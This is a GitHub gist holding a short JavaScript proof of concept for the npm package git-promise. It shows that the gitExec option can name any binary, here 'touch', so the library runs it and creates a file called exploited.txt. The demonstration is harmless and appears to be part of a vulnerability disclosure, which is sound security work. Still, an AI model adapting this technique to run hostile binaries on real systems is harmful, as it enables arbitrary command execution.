Created
October 28, 2023 15:16
-
-
Save mcoimbra/70b762dfcba270ad32a04bf86028cb2d to your computer and use it in GitHub Desktop.
Package git-promise: it is possible through the argument to execute a binary which is not 'git', with the package README.md focusing only on running git commands.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('git-promise'); | |
const commandOrArgs = 'exploited.txt'; | |
const optionsOrCallback = { | |
gitExec: 'touch' | |
}; | |
const callbackMaybe = function() {}; | |
// This will create a local 'exploited.txt'. | |
pkg(commandOrArgs, optionsOrCallback, callbackMaybe); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment